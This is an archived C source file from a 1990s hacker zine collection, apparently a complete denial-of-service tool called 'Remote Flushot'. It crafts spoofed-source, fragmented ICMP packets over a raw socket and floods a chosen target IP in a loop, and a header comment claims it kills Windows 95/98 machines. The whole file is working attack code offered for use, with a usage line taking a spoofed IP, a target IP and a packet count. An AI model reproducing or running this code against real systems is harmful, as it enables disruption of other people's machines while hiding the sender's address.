home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / flushot.c < prev    next >
C/C++ Source or Header  |  1999-01-01  |  5KB  |  157 lines

  1. /* Lags CPU Made By DarkShadow from The flu Hacking Group
  2.    Kills Win95-98 machines
  3.  
  4.    
  5.    
  6.    
  7.   
  8.  
  9.    http://www.angelfire.com/ar/WarzonE/flu.html
  10.  */
  11. #include <stdio.h>
  12. #include <unistd.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <sys/types.h>
  16. #include <sys/time.h>
  17. #include <sys/socket.h>
  18. #include <netdb.h>
  19. #include <netinet/in.h>
  20. #include <netinet/ip.h>
  21. #include <netinet/ip_icmp.h>
  22. void banner(void) {
  23.         
  24.    printf("Remote Flushot v 1.0\n\n");
  25.    
  26.    
  27.    printf("\n\n");
  28. }
  29. void usage(const char *progname) {
  30.    printf(" usage:\n");
  31.    printf("./flushot [Spoofed IP] [Destination IP] [# of FLushot to Send]\n",progname);
  32.    printf(" [Spoofed IP] :  ex: 205.56.78.0\n");
  33.    printf(" [Destination IP] :  ex: 201.12.3.76\n");
  34.    printf(" [# of FLushot to Send]  : 100\n");
  35.    printf("The Flu Hacking Group (c)\n");
  36.    printf("DarkShadow PlimoMan Hack The Planet\n");
  37. }
  38. int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
  39.    struct hostent *host;
  40.    memset(addr,0,sizeof(struct sockaddr_in));
  41.    addr->sin_family = AF_INET;
  42.    addr->sin_addr.s_addr = inet_addr(name);
  43.    if (addr->sin_addr.s_addr == -1) {
  44.       if (( host = gethostbyname(name) ) == NULL )  {
  45.          fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
  46.          return(-1);
  47.       }
  48.       addr->sin_family = host->h_addrtype;
  49.       memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  50.    }
  51.    addr->sin_port = htons(port);
  52.    return(0);
  53. }
  54. unsigned short in_cksum(addr, len)
  55.     u_short *addr;
  56.     int len;
  57. {
  58.     register int nleft = len;
  59.     register u_short *w = addr;
  60.     register int sum = 0;
  61.     u_short answer = 0;
  62.  
  63.     while (nleft > 1)  {
  64.         sum += *w++;
  65.         nleft -= 2;
  66.     }
  67.  
  68.     if (nleft == 1) {
  69.         *(u_char *)(&answer) = *(u_char *)w ;
  70.         sum += answer;
  71.     }
  72.  
  73.     sum = (sum >> 16) + (sum & 0xffff);
  74.     sum += (sum >> 16);                 
  75.     answer = ~sum;                      
  76.     return(answer);
  77. }
  78. int send_winbomb(int socket,
  79.                  unsigned long spoof_addr,
  80.                  struct sockaddr_in *dest_addr) {
  81.    unsigned char  *packet;
  82.    struct iphdr   *ip;
  83.    struct icmphdr *icmp;
  84.    int rc;
  85.  
  86.    packet = (unsigned char *)malloc(sizeof(struct iphdr) +
  87.                                     sizeof(struct icmphdr) + 8);
  88.    ip = (struct iphdr *)packet;
  89.    icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  90.    memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  91.    ip->ihl      = 5;
  92.    ip->version  = 4;
  93. // ip->tos      = 2;
  94.    ip->id       = htons(1234);
  95.    ip->frag_off |= htons(0x2000);
  96. // ip->tot_len  = 0;
  97.    ip->ttl      = 30;
  98.    ip->protocol = IPPROTO_ICMP;
  99.    ip->saddr    = spoof_addr;
  100.    ip->daddr    = dest_addr->sin_addr.s_addr;
  101.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  102.  
  103.    icmp->type              = 12;
  104.    icmp->code              = 0;
  105.    icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);
  106.    if (sendto(socket,
  107.               packet,
  108.               sizeof(struct iphdr) +
  109.               sizeof(struct icmphdr) + 1,0,
  110.               (struct sockaddr *)dest_addr,
  111.               sizeof(struct sockaddr)) == -1) { return(-1); }
  112.    ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  113.    ip->frag_off = htons(8 >> 3);
  114.    ip->frag_off |= htons(0x2000);
  115.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  116.    icmp->type = 0;
  117.    icmp->code = 0;
  118.    icmp->checksum = 0;
  119.    if (sendto(socket,
  120.               packet,
  121.               sizeof(struct iphdr) +
  122.               sizeof(struct icmphdr) + 8,0,
  123.               (struct sockaddr *)dest_addr,
  124.               sizeof(struct sockaddr)) == -1) { return(-1); }
  125.    free(packet);
  126.    return(0);
  127. }
  128. int main(int argc, char * *argv) {
  129.    struct sockaddr_in dest_addr;
  130.    unsigned int i,sock;
  131.    unsigned long src_addr;
  132.    banner();
  133.    if ((argc != 4)) {
  134.       usage(argv[0]);
  135.       return(-1);
  136.    }
  137.  
  138.    if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  139.       fprintf(stderr,"ERROR: Opening raw socket.\n");
  140.       return(-1);
  141.    }
  142.  
  143.    if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
  144.    src_addr = dest_addr.sin_addr.s_addr;
  145.    if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
  146.    printf("Status: Connected....packets sent.\n",argv[0]);
  147.    for (i = 0;i < atoi(argv[3]);i++) {
  148.       if (send_winbomb(sock,
  149.                        src_addr,
  150.                        &dest_addr) == -1) {
  151.          fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
  152.          return(-1);
  153.       }
  154.       usleep(10000);
  155.    }
  156. }
  157.